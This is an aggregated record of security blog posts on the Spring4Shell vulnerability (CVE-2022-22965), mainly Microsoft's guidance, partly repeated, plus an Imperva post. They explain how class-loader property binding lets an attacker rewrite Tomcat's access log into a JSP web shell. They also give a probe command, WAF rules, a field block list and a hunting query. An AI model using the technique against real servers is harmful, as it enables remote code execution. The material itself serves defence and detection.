loaded into Tomcat, handles HTTP requests. \n\nThe only publicly available working POC is specific to Tomcat server's logging properties via the _ClassLoader_ module in the _propertyDescriptor_ cache. The attacker can update the _AccessLogValve_ class using the module to create a web shell in the Tomcat root directory called _shell.jsp_. The attacker can then change the default access logs to a file of their choosing.\n\nFigure 1. Screenshot from the original POC code post\n\nThe changes to _AccessValveLog_ can be achieved by an attacker who can use HTTP requests to create a _.jsp_ file in the service\u2019s root directory. In the example below, each GET parameter is set as a Java object property. Each GET request then executes a Java code resembling the example below, wherein the final segment \u201csetPattern\u201d would be unique for each call (such as setPattern, setSuffix, setDirectory, and others): \n\n Figure 2. Screenshot from the original POC code post Figure 3. Screenshot from the original POC code post\n\nThe _.jsp_ file now contains a payload with a password-protected web shell with the following format:\n\n\n\nThe attacker can then use HTTP requests to execute commands. While the above POC depicts a command shell as the inserted code, this attack could be performed using any executable code.\n\n## The vulnerability and exploit in depth\n\nThe vulnerability in Spring results in a client's ability, in some cases, to modify sensitive internal variables inside the web server or application by carefully crafting the HTTP request.\n\nIn the case of the Tomcat web server, the vulnerability allowed for that manipulation of the access log to be placed in an arbitrary path with somewhat arbitrary contents. The POC above sets the contents to be a JSP web shell and the path inside the Tomcat's web application ROOT directory, which essentially drops a reverse shell inside Tomcat. For the web application to be vulnerable, it needs to use Spring\u2019s request mapping feature, with the handler function receiving a Java object as a parameter.\n\n### Background\n\n#### Request mapping and request parameter binding\n\nSpring allows developers to map HTTP requests to Java handler methods. The web application's developer can ask Spring to call an appropriate handler method each time a user requests a specific URI. For instance, the following web application code will cause Spring to invoke the method _handleWeatherRequest_ each time a user requests the URI _/WeatherReport_:\n \n \n @RequestMapping(\"/WeatherReport\")\n public string handleWeatherRequest(Location reportLocation)\n {\n \u2026\n }\n\nMoreover, through request parameter binding, the handler method can accept arguments passed through parameters in GET/POST/REST requests. In the above example, Spring will instantiate a _Location_ object, initialize its fields according to the HTTP request\u2019s parameters, and pass it on to _handleWeatherRequest_. So, if, for instance, _Location_ will be defined as:\n \n \n class Location \n { \n public void setCountry(string country) {\u2026} \n public void setCity(string city) {\u2026} \n public string getCountry() {\u2026} \n public string getCity() {\u2026} \n }\n\nIf we issue the following HTTP request:\n \n \n example.com/WeatherReport?country=USA&city=Redmond\n\nThe resulting call to _handleWeatherRequest_ will automatically have a _reportLocation_ argument with the country set to USA and city set to Redmond. \n\nIf _Location_ had a sub-object named _coordinates_, which contained _longitude_ and _latitude_ parameters, then Spring would try and initialize them out of the parameters of an incoming request. For example, when receiving a request with GET params _coordinates.longitude=123&coordinate.latitude=456_ Spring would try and set those values in the _coordinates_ member of _location_, before handing over control to _handleWeatherRequest_.\n\nThe SpringShell vulnerability directly relates to the process Spring uses to populate these fields.\n\n#### The process of property binding\n\nWhenever Spring receives an HTTP request mapped to a handler method as described above, it will try and bind the request\u2019s parameters for each argument in the handler method. Now, to stick with the previous example, a client asked for:\n \n \n example.com/WeatherReport?x.y.z=foo\n\nSpring would instantiate the argument (in our case, create a _Location_ object). Then it breaks up the parameter name by dots (.) and tries to do a series of steps:\n\n 1. Use Java introspection to map all accessors and mutators in _location_\n 2. If location has a getX_()_ accessor, call it to get the _x_ member of location\n 3. Use Java introspection to map all accessors and mutators in the_ x_ object\n 4. If the _x_ object has a _getY_() accessor, call it to get the _y_ object inside of the _x_ object\n 5. Use Java introspection to map all accessors and mutators in the_ y_ object\n 6. If the _y_ object has a _setZ()_ mutator, call it with parameter _\u201cfoo\u201d_\n\nSo essentially, ignoring the details, we get _location.getX().getY().setZ(\u201cfoo\u201d)_.\n\n### The vulnerability and its exploitation\n\n#### Prelude: CVE-2010-1622\n\nIn June 2010, a CVE was [published](<https://nvd.nist.gov/vuln/detail/CVE-2010-1622>) for the Spring framework. The crux of the CVE was as follows:\n\n 1. All Java objects implicitly contain a _getClass()_ accessor that returns the _Class_ describing the object's class.\n 2. _Class_ objects have a _getClassLoader()_ accessor the gets the _ClassLoader_ object.\n 3. Tomcat uses its own class loader for its web applications. This class loader contains various members that can affect Tomcat\u2019s behavior. One such member is _URLs_, which is an array of URLs the class loader uses to retrieve resources.\n 4. Overwriting one of the URLs with a URL to a remote JAR file would cause Tomcat to subsequently load the JAR from an attacker-controlled location.\n\nThe bug was fixed in Spring by preventing the mapping of the _getClassLoader()_ or _getProtectionDomain()_ accessors of _Class_ objects during the property-binding phase. Hence _class.classLoader_ would not resolve, thwarting the attack.\n\n#### The current exploit: CVE-2022-22965\n\nThe current exploit leverages the same mechanism as in CVE-2010-1622, bypassing the previous bug fix. Java 9 added a new technology called Java Modules. An accessor was added to the _Class_ object, called _getModule()_. The _Module_ object contains a _getClassLoader()_ accessor. Since the CVE-2010-1622 fix only prevented mapping the _getClassLoader()_ accessor of _Class_ objects, Spring mapped the _getClassLoader()_ accessor of the _Module_ object. Once again, one could reference the class loader from Spring via the _class.module.classLoader_ parameter name prefix.\n\n#### From _ClassLoader_ to _AccessLogValve_\n\nThe latest exploit uses the same accessor chaining, via the Tomcat class loader, to drop a JSP web shell on the server.\n\nThis is done by manipulating the properties of the _AccessLogValve_ object in Tomcat\u2019s pipeline. The _AccessLogValve _is referenced using the _class.module.classLoader.resources.context.parent.pipeline.first_ parameter prefix.\n\nThe following properties are changed:\n\n 1. **Directory: **The path where to store the access log, relative to Tomcat\u2019s root directory. This can be manipulated to point into a location accessible by http requests, such as the web application\u2019s directory.\n 2. **Prefix: **The prefix of the access log file name\n 3. **Suffix: **The suffix of the access log file name. The log file name is a concatenation of the prefix with the suffix.\n 4. **Pattern: **A string that describes the log record structure. This can be manipulated so that each record will essentially contain a JSP web shell.\n 5. **FileDateFormat:** Setting this causes the new access log settings to take effect.\n\nOnce the web shell is dropped on the server, the attacker can execute commands on the server as Tomcat.\n\n## Discovery and mitigations\n\n### How to find vulnerable devices\n\n[Threat and vulnerability management](<https://www.microsoft.com/security/business/threat-protection/threat-vulnerability-management>) capabilities in [Microsoft Defender for Endpoint](<https://www.microsoft.com/security/business/threat-protection/endpoint-defender>) monitor an organization\u2019s overall security posture and equip customers with real-time insights into organizational risk through continuous vulnerability discovery, intelligent prioritization, and the ability to seamlessly remediate vulnerabilities. \n\nCustomers can now search for CVE-2022-22965 to find vulnerable devices through the [Weaknesses](<https://securitycenter.microsoft.com/vulnerabilities?search=CVE-2022-22965>) page in threat and vulnerability management.\n\nFigure 4. Weaknesses page in Microsoft Defender for Endpoint\n\n### Enhanced protection with Azure Firewall Premium\n\nCustomers using [Azure Firewall Premium](<https://docs.microsoft.com/azure/firewall/premium-migrate>) have enhanced protection from the SpringShell CVE-2022-22965 vulnerability and exploits. Azure Firewall Premium Intrusion Detection and Prevention System (IDPS) provides IDPS inspection for all east-west traffic, outbound traffic to the internet, and inbound HTTP traffic from the internet. The vulnerability rulesets are continuously updated and include vulnerability protection for SpringShell since March 31, 2022. The screenshot below shows all the scenarios which are actively mitigated by Azure Firewall Premium.\n\nConfigure Azure Firewall Premium with both IDPS Alert & Deny mode and TLS inspection enabled for proactive protection against CVE-2022-22965 exploit. \n\nFigure 5. Azure Firewall Premium portal detecting CVE-2022-22965 exploitation attempts.\n\nCustomers using Azure Firewall Standard can migrate to Premium by following [these directions](<https://docs.microsoft.com/azure/firewall/premium-migrate>). Customers new to Azure Firewall Premium can learn more about [Firewall Premium](<https://docs.microsoft.com/azure/firewall/premium-features>).\n\n### Detect and protect with Azure Web Application Firewall (Azure WAF)\n\nAzure Web Application Firewall (WAF) customers with Azure Front Door and Azure Application Gateway deployments now have enhanced protection for the SpringShell exploit - [CVE-2022-22965](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-22965>), and other high impact Spring vulnerabilities [CVE-2022-22963](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-22963>) and [CVE-2022-22947](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-22947>). To help detect and mitigate these critical Spring vulnerabilities, we have released four new rules.\n\n#### Global WAF with Azure Front Door\n\nAzure WAF has updated Default Rule Set (DRS) versions 2.0/1.1/1.0.\n\n * Rule group: _MS-ThreatIntel-WebShells_, Rule Id: 99005006 - Spring4Shell Interaction Attempt\n * Rule group: _MS-ThreatIntel-CVEs_, Rule Id: 99001014 - Attempted Spring Cloud routing-expression injection (CVE-2022-22963)\n * Rule group: _MS-ThreatIntel-CVEs_, Rule Id: 99001015 - Attempted Spring Framework unsafe class object exploitation (CVE-2022-22965)\n * Rule group: _MS-ThreatIntel-CVEs_, Rule Id: 99001016 - Attempted Spring Cloud Gateway Actuator injection (CVE-2022-22947)\n\nWAF rules on Azure Front Door are disabled by default on existing Microsoft managed rule sets.\n\nFigure 6. Screenshot of WAF Spring vulnerabilities\n\n#### Regional WAF with Azure Application Gateway\n\nAzure WAF has updated OWASP Core Rule Set (CRS) versions for Azure Application Gateway WAF V2 regional deployments. New rules are under _Known_CVEs_ rule group:\n\n * Rule Id: 800110 - _Spring4Shell Interaction Attempt_\n * Rule Id: 800111 - _Attempted Spring Cloud routing-expression injection_ - CVE-2022-22963\n * Rule Id: 800112 - _Attempted Spring Framework unsafe class object exploitation_ - CVE-2022-22965\n * Rule Id: 800113 - _Attempted Spring Cloud Gateway Actuator injection_ - CVE-2022-22947\n\nWAF rules on Azure Application Gateway are _enabled_ by default for supported CRS versions.\n\nFigure 7. Spring vulnerability rules for Azure Application Gateway OWASP Core Rule Set (CRS)\n\n**Recommendation**: Enable WAF SpringShell rules to get protection from these threats. We will continue to monitor threat patterns and modify the above rules in response to emerging attack patterns as required. \n\nFor more information about Managed Rules and Default Rule Set (DRS) on Azure Front Door, see the [Web Application Firewall DRS rule groups and rules documentation](<https://docs.microsoft.com/azure/web-application-firewall/afds/waf-front-door-drs>). For more information about Managed Rules and OWASP Core Rule Set (CRS) on Azure Application Gateway, see the [Web Application Firewall CRS rule groups and rules documentation](<https://docs.microsoft.com/en-us/azure/web-application-firewall/ag/application-gateway-crs-rulegroups-rules?tabs=owasp32>)\n\n### Patch information and workarounds\n\nCustomers are encouraged to apply these mitigations to reduce the impact of this threat. Check the recommendations card in Microsoft 365 Defender threat and vulnerability management for the deployment status of monitored mitigations.\n\n * An [update](<https://spring.io/blog/2022/03/31/spring-boot-2-6-6-available-now>) is available for CVE-2022-22965. Administrators should upgrade to versions 5.3.18 or later or 5.2.19 or later. If the patch is applied, no other mitigation is necessary.\n\nIf you\u2019re unable to patch CVE-2022-22965, you can implement this set of workarounds published by [Spring](<https://www.springcloud.io/post/2022-03/spring-framework-rce-early-announcement/#gsc.tab=0>):\n\n * Search the @InitBinder annotation globally in the application to see if the dataBinder.setDisallowedFields method is called in the method body. If the introduction of this code snippet is found, add `{\"class.*\",\"Class.*\",\"*.class.*\", \"*.Class.*\"}` to the original blacklist. (**Note:** If this code snippet is used a lot, it needs to be appended in each location.)\n * Add the following global class into the package where the Controller is located. Then recompile and test the project for functionality:\n \n \n import org.springframework.core.annotation.Order;\n import org.springframework.web.bind.WebDataBinder;\n import org.springframework.web.bind.annotation.ControllerAdvice;\n import org.springframework.web.bind.annotation.InitBinder;\n @ControllerAdvice\n @Order(10000)\n public class GlobalControllerAdvice{\n @InitBinder\n public void setAllowedFields(webdataBinder dataBinder){\n String[]abd=new string[]{\"class.*\",\"Class.*\",\"*.class.*\",\"*.Class.*\"};\n dataBinder.setDisallowedFields(abd);\n }\n }\n\n## Detections\n\n### Microsoft 365 Defender\n\n#### Endpoint detection and response (EDR)\n\nAlerts with the following title in the security center can indicate threat activity on your network:\n\n * Possible SpringShell exploitation\n\nThe following alerts for an observed attack, but might not be unique to exploitation for this vulnerability:\n\n * Suspicious process executed by a network service\n\n#### Antivirus\n\nMicrosoft Defender antivirus version **1.361.1234.0** or later detects components and behaviors related to this threat with the following detections:\n\n * Trojan:Python/SpringShellExpl\n * Exploit:Python/SpringShell\n * Backdoor:PHP/Remoteshell.V\n\n### Hunting\n\n#### Microsoft 365 Defender advanced hunting queries \n\nUse the query below to surface exploitation of CVE-2022-22965 on both victim devices and devices performing the exploitation. Note that this query only covers HTTP use of the exploitation and not HTTPS.\n \n \n DeviceNetworkEvents\n | where Timestamp > ago(7d)\n | where ActionType =~ \"NetworkSignatureInspected\"\n | where AdditionalFields contains \".jsp?cmd=\"\n | summarize makeset(AdditionalFields, 5), min(Timestamp), max(Timestamp) by DeviceId, DeviceName \n\n#### Microsoft Sentinel\n\nMicrosoft Sentinel customers can use the following queries to look for this threat activity:\n\n * [Possible SpringShell exploitation attempt (CVE-2022-22965)](<https://github.com/Azure/Azure-Sentinel/blob/master/Hunting Queries/AzureDiagnostics/SpringShellExploitationAttempt.yaml>) \u2013 This hunting query looks in Azure Web Application Firewall data to find possible SpringShell exploitation attempt (CVE-2022-22965) to drop a malicious web shell in a location accessible by HTTP requests. Attackers then make requests to the malicious backdoor to run system commands.\n * [Possible web shell usage attempt related to SpringShell (CVE-2202-22965)](<https://github.com/Azure/Azure-Sentinel/blob/master/Hunting Queries/AzureDiagnostics/SpringshellWebshellUsage.yaml>) \u2013 This hunting query looks in Azure Web Application Firewall data to find possible web shell usage related to SpringShell RCE vulnerability (CVE-2022-22965).\n * [AV detections related to SpringShell Vulnerability](<https://github.com/Azure/Azure-Sentinel/blob/master/Detections/SecurityAlert/AVSpringShell.yaml>) \u2013 This query looks for Microsoft Defender for Endpoint hits related to the SpringShell vulnerability. In Microsoft Sentinel, the _SecurityAlerts _table includes only the device name of the affected device. This query joins the _DeviceInfo _table to clearly connect other information such as device group, IP address, signed in users, and others. This allows the Microsoft Sentinel analyst to have more context related to the alert, if available.\n\n**Revision history**\n\n_[04/11/2022] \u2013 _Application Gateway now has enhanced protection for critical Spring vulnerabilities - [CVE-2022-22963](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-22963>), [CVE-2022-22965](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-22965>), and [CVE-2022-22947](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-22947>)._ _See _Detection and Mitigation section for details_.\n\n_[04/08/2022] \u2013 Azure Web Application Firewall (WAF) customers with Azure Front Door now has enhanced protection for Spring4Shell exploits - CVE-2022-22963, CVE-2022-22965, and CVE-2022-22947. See Detection and Mitigation section for details. \n[04/05/2022] \u2013 We added Microsoft Sentinel hunting queries to look for SpringShell exploitation activity._\n\nThe post [SpringShell RCE vulnerability: Guidance for protecting against and detecting CVE-2022-22965](<https://www.microsoft.com/security/blog/2022/04/04/springshell-rce-vulnerability-guidance-for-protecting-against-and-detecting-cve-2022-22965/>) appeared first on [Microsoft Security Blog](<https://www.microsoft.com/security/blog>).", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 10.0, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 6.0}, "published": "2022-04-05T01:11:24", "type": "mmpc", "title": "SpringShell RCE vulnerability: Guidance for protecting against and detecting CVE-2022-22965", "bulletinFamily": "blog", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2010-1622", "CVE-2022-22947", "CVE-2022-22963", "CVE-2022-22965", "CVE-2202-22965"], "modified": "2022-04-05T01:11:24", "id": "MMPC:07417E2EE012BAE0350B156AD2AE30B3", "href": "https://www.microsoft.com/security/blog/2022/04/04/springshell-rce-vulnerability-guidance-for-protecting-against-and-detecting-cve-2022-22965/", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}], "impervablog": [{"lastseen": "2022-03-31T18:03:34", "description": "New zero-day Remote Code Execution (RCE) vulnerabilities were discovered in Spring Framework, an application development framework and inversion of control container for the Java platform. The vulnerability potentially leaves millions of applications at risk of compromise. In two separate disclosures, [zero-day](<https://www.imperva.com/learn/application-security/zero-day-exploit/>) RCE vulnerabilities were revealed in the Cloud and Core modules of Spring Framework.\n\nSpring Framework \u201cprovides a comprehensive programming and configuration model for modern Java-based enterprise applications - on any kind of deployment platform\u201d [[1](<https://spring.io/projects/spring-framework>)]. Java is one of the most commonly used development languages, and Spring is commonly cited as one of the most popular Java frameworks.\n\nThe first of the disclosures [dropped](<https://www.cyberkendra.com/2022/03/rce-0-day-exploit-found-in-spring-cloud.html>) on March 26, and reported on a vulnerability in the Spring Framework Cloud module, which allowed for the injection of a SPeL expression into a header value. This crafted header value would then be evaluated by the server and could result in a RCE. The vulnerability was assigned [CVE-2022-22963](<https://tanzu.vmware.com/security/cve-2022-22963>).\n\nThe second of these disclosures was released on March 29 on Twitter by a researcher, in a since-deleted Tweet, containing a screenshot of the exploit request. Since then, the exploit was tweeted by others and published to GitHub, but again, was quickly removed. The vulnerability, called Spring Framework RCE via Data Binding on JDK 9+, comes in the form of a Java class injection flaw in Spring Core, where the JDK version is >=9.0. If exploited, an attacker can leverage this vulnerability to perform a RCE on the server. This vulnerability was assigned [CVE-2022-22965](<https://tanzu.vmware.com/security/CVE-2022-22965>).\n\nSince the disclosures, Imperva Threat Research monitored widespread attempted exploitations of _both_ new zero-day vulnerabilities (~5.5 million and counting as of March 31).\n\n## Imperva Delivers Protection from CVE-2022-22963\n\nImperva Threat Research analysts downloaded and quickly tested the exploit, verifying that both vulnerabilities are blocked out of the box by [Imperva Cloud Web Application Firewall](<https://www.imperva.com/products/web-application-firewall-waf/>) (WAF) and Imperva WAF Gateway.\n\nGiven the nature of how [Imperva Runtime Protection (RASP)](<https://www.imperva.com/products/runtime-application-self-protection-rasp/>) works, RCEs caused by CVE-2022-22963 and Spring4Shell are stopped without requiring any code changes or policy updates. If Imperva RASP is currently deployed, applications of all kinds (active, legacy, third-party, APIs, etc.) are protected.\n\nTogether, Imperva WAF and Imperva RASP provide defense-in-depth for protecting applications and APIs. Both are industry-leading products that are designed to protect against zero day threats and the OWASP Top 10 application security threats, injections and weaknesses. If you\u2019re looking for protection from CVE-2022-22963, please contact us.\n\n**Q: How can I verify that Spring Framework RCE via Data Binding on JDK 9+ (Spring4Shell) is being blocked?**\n\n**A:** For CWAF customers, Imperva provides attack analytics, which shows customers any attempts to exploit CVE-2022-22963. In addition, existing rules for older vulnerabilities including CVE-2015-1427 protect against CVE-2022-22965.\n\nFor WAF Gateway customers, Imperva has signatures for older vulnerabilities, including CVE-2010-1871, CVE-2018-1260, and CVE-2015-1427 that protect against CVE-2022-22963 and CVE-2022-22965\n\nImperva is also in the process of pushing more specific rules that will have a clear name associated with CVE-2022-22963 and CVE-2022-22965.\n\nThe post [Imperva Protects from New Spring Framework Zero-Day Vulnerabilities](<https://www.imperva.com/blog/imperva-protects-from-new-spring-framework-zero-day-vulnerabilities/>) appeared first on [Blog](<https://www.imperva.com/blog>).", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.0", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2022-03-31T15:20:03", "type": "impervablog", "title": "Imperva Protects from New Spring Framework Zero-Day Vulnerabilities", "bulletinFamily": "blog", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "obtainUserPrivilege": false}, "cvelist": ["CVE-2010-1871", "CVE-2015-1427", "CVE-2018-1260", "CVE-2022-22963", "CVE-2022-22965"], "modified": "2022-03-31T15:20:03", "id": "IMPERVABLOG:45FA8B88D226614CA46C4FD925A08C8B", "href": "https://www.imperva.com/blog/imperva-protects-from-new-spring-framework-zero-day-vulnerabilities/", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}], "mssecure": [{"lastseen": "2022-04-11T23:40:23", "description": "**_April 11, 2022 update_** \u2013 __Azure Web Application Firewall (WAF) customers with Regional WAF with Azure Application Gateway now has enhanced protection for critical Spring vulnerabilities - [CVE-2022-22963](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-22963>), [CVE-2022-22965](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-22965>), and [CVE-2022-22947](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-22947>)._ _See [](<https://www.microsoft.com/security/blog/wp-admin/post.php?post=110715&action=edit#detectandprotect>)Detect and protect with Azure Web Application Firewall (Azure WAF) section for details__.\n\nOn March 31, 2022, vulnerabilities in the Spring Framework for Java were [publicly disclosed](<https://www.springcloud.io/post/2022-03/spring-framework-rce-early-announcement/#gsc.tab=0>). Microsoft is currently assessing the impact associated with these vulnerabilities. This blog is for customers looking for protection against exploitation and ways to detect vulnerable installations on their network of the critical remote code execution (RCE) vulnerability [CVE-2022-22965](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-22965>) (also known as SpringShell or Spring4Shell).\n\nThe Spring Framework is the most widely used lightweight open-source framework for Java. In Java Development Kit (JDK) version 9.0 or later, a remote attacker can obtain an _AccessLogValve _object through the framework\u2019s parameter binding feature and use malicious field values to trigger the pipeline mechanism and write to a file in an arbitrary path, if certain conditions are met. \n\nThe vulnerability in Spring Core\u2014referred to in the security community as SpringShell or Spring4Shell\u2014can be exploited when an attacker sends a specially crafted query to a web server running the Spring Core framework. Other vulnerabilities disclosed in the same component are less critical and not tracked as part of this blog.\n\nImpacted systems have the following traits:\n\n * Running JDK 9.0 or later\n * Spring Framework versions 5.3.0 to 5.3.17, 5.2.0 to 5.2.19, and earlier versions\n * Apache Tomcat as the Servlet container:\n * Packaged as a traditional Java web archive (WAR) and deployed in a standalone Tomcat instance; typical Spring Boot deployments using an embedded Servlet container or reactive web server are not impacted\n * Tomcat has _spring-webmvc_ or _spring-webflux_ dependencies\n\nAny system using JDK 9.0 or later and using the Spring Framework or derivative frameworks should be considered vulnerable. The following nonmalicious command can be used to determine vulnerable systems:\n \n \n $ curl host:port/path?class.module.classLoader.URLs%5B0%5D=0\n\nA host that returns an HTTP 400 response should be considered vulnerable to the attack detailed in the proof of concept (POC) below. Note that while this test is a good indicator of a system\u2019s susceptibility to an attack, any system within the scope of impacted systems listed above should still be considered vulnerable.\n\nThe [](<https://www.microsoft.com/microsoft-365/security/microsoft-365-defender>)[threat and vulnerability management](<https://docs.microsoft.com/azure/defender-for-cloud/deploy-vulnerability-assessment-tvm>) console within [Microsoft 365 Defender](<https://www.microsoft.com/microsoft-365/security/microsoft-365-defender>) provides detection and reporting for this vulnerability.\n\nThis blog covers the following topics:\n\n 1. Observed activity\n 2. Attack breakdown\n 3. The vulnerability and exploit in depth\n * Background\n * Request mapping and request parameter binding\n * The process of property binding\n * The vulnerability and its exploitation\n * Prelude: CVE-2010-1622\n * The current exploit: CVE-2022-22965\n * From ClassLoader to AccessLogValve\n 4. Discovery and mitigations\n * How to find vulnerable devices\n * Enhanced protection with Azure Firewall Premium\n * Detect and protect with Azure Web Application Firewall (Azure WAF)\n * Global WAF with Azure Front Door\n * Regional WAF with Azure Application Gateway\n * Patch information and workarounds\n 5. Detections\n * Microsoft 365 Defender\n * Endpoint detection and response (EDR)\n * Antivirus\n * Hunting\n * Microsoft 365 Defender advanced hunting queries \n * Microsoft Sentinel\n\n## Observed activity\n\nMicrosoft regularly monitors attacks against our cloud infrastructure and services to defend them better. Since the Spring Core vulnerability was announced, we have been tracking a low volume of exploit attempts across our cloud services for Spring Cloud and Spring Core vulnerabilities. For CVE-2022-22965, the attempts closely align with the basic web shell POC described in this post.\n\nMicrosoft\u2019s continued monitoring of the threat landscape has not indicated a significant increase in quantity of attacks or new campaigns at this time.\n\n## Attack breakdown\n\nCVE-2022-22965 affects functions that use request mapping annotation and Plain Old Java Object (POJO) parameters within the Spring Framework. The POC code creates a controller that, when loaded into Tomcat, handles HTTP requests. \n\nThe only publicly available working POC is specific to Tomcat server's logging properties via the _ClassLoader_ module in the _propertyDescriptor_ cache. The attacker can update the _AccessLogValve_ class using the module to create a web shell in the Tomcat root directory called _shell.jsp_. The attacker can then change the default access logs to a file of their choosing.\n\nFigure 1. Screenshot from the original POC code post\n\nThe changes to _AccessValveLog_ can be achieved by an attacker who can use HTTP requests to create a _.jsp_ file in the service\u2019s root directory. In the example below, each GET parameter is set as a Java object property. Each GET request then executes a Java code resembling the example below, wherein the final segment \u201csetPattern\u201d would be unique for each call (such as setPattern, setSuffix, setDirectory, and others): \n\n Figure 2. Screenshot from the original POC code post Figure 3. Screenshot from the original POC code post\n\nThe _.jsp_ file now contains a payload with a password-protected web shell with the following format:\n\n\n\nThe attacker can then use HTTP requests to execute commands. While the above POC depicts a command shell as the inserted code, this attack could be performed using any executable code.\n\n## The vulnerability and exploit in depth\n\nThe vulnerability in Spring results in a client's ability, in some cases, to modify sensitive internal variables inside the web server or application by carefully crafting the HTTP request.\n\nIn the case of the Tomcat web server, the vulnerability allowed for that manipulation of the access log to be placed in an arbitrary path with somewhat arbitrary contents. The POC above sets the contents to be a JSP web shell and the path inside the Tomcat's web application ROOT directory, which essentially drops a reverse shell inside Tomcat. For the web application to be vulnerable, it needs to use Spring\u2019s request mapping feature, with the handler function receiving a Java object as a parameter.\n\n### Background\n\n#### Request mapping and request parameter binding\n\nSpring allows developers to map HTTP requests to Java handler methods. The web application's developer can ask Spring to call an appropriate handler method each time a user requests a specific URI. For instance, the following web application code will cause Spring to invoke the method _handleWeatherRequest_ each time a user requests the URI _/WeatherReport_:\n \n \n @RequestMapping(\"/WeatherReport\")\n public string handleWeatherRequest(Location reportLocation)\n {\n \u2026\n }\n\nMoreover, through request parameter binding, the handler method can accept arguments passed through parameters in GET/POST/REST requests. In the above example, Spring will instantiate a _Location_ object, initialize its fields according to the HTTP request\u2019s parameters, and pass it on to _handleWeatherRequest_. So, if, for instance, _Location_ will be defined as:\n \n \n class Location \n { \n public void setCountry(string country) {\u2026} \n public void setCity(string city) {\u2026} \n public string getCountry() {\u2026} \n public string getCity() {\u2026} \n }\n\nIf we issue the following HTTP request:\n \n \n example.com/WeatherReport?country=USA&city=Redmond\n\nThe resulting call to _handleWeatherRequest_ will automatically have a _reportLocation_ argument with the country set to USA and city set to Redmond. \n\nIf _Location_ had a sub-object named _coordinates_, which contained _longitude_ and _latitude_ parameters, then Spring would try and initialize them out of the parameters of an incoming request. For example, when receiving a request with GET params _coordinates.longitude=123&coordinate.latitude=456_ Spring would try and set those values in the _coordinates_ member of _location_, before handing over control to _handleWeatherRequest_.\n\nThe SpringShell vulnerability directly relates to the process Spring uses to populate these fields.\n\n#### The process of property binding\n\nWhenever Spring receives an HTTP request mapped to a handler method as described above, it will try and bind the request\u2019s parameters for each argument in the handler method. Now, to stick with the previous example, a client asked for:\n \n \n example.com/WeatherReport?x.y.z=foo\n\nSpring would instantiate the argument (in our case, create a _Location_ object). Then it breaks up the parameter name by dots (.) and tries to do a series of steps:\n\n 1. Use Java introspection to map all accessors and mutators in _location_\n 2. If location has a getX_()_ accessor, call it to get the _x_ member of location\n 3. Use Java introspection to map all accessors and mutators in the_ x_ object\n 4. If the _x_ object has a _getY_() accessor, call it to get the _y_ object inside of the _x_ object\n 5. Use Java introspection to map all accessors and mutators in the_ y_ object\n 6. If the _y_ object has a _setZ()_ mutator, call it with parameter _\u201cfoo\u201d_\n\nSo essentially, ignoring the details, we get _location.getX().getY().setZ(\u201cfoo\u201d)_.\n\n### The vulnerability and its exploitation\n\n#### Prelude: CVE-2010-1622\n\nIn June 2010, a CVE was [published](<https://nvd.nist.gov/vuln/detail/CVE-2010-1622>) for the Spring framework. The crux of the CVE was as follows:\n\n 1. All Java objects implicitly contain a _getClass()_ accessor that returns the _Class_ describing the object's class.\n 2. _Class_ objects have a _getClassLoader()_ accessor the gets the _ClassLoader_ object.\n 3. Tomcat uses its own class loader for its web applications. This class loader contains various members that can affect Tomcat\u2019s behavior. One such member is _URLs_, which is an array of URLs the class loader uses to retrieve resources.\n 4. Overwriting one of the URLs with a URL to a remote JAR file would cause Tomcat to subsequently load the JAR from an attacker-controlled location.\n\nThe bug was fixed in Spring by preventing the mapping of the _getClassLoader()_ or _getProtectionDomain()_ accessors of _Class_ objects during the property-binding phase. Hence _class.classLoader_ would not resolve, thwarting the attack.\n\n#### The current exploit: CVE-2022-22965\n\nThe current exploit leverages the same mechanism as in CVE-2010-1622, bypassing the previous bug fix. Java 9 added a new technology called Java Modules. An accessor was added to the _Class_ object, called _getModule()_. The _Module_ object contains a _getClassLoader()_ accessor. Since the CVE-2010-1622 fix only prevented mapping the _getClassLoader()_ 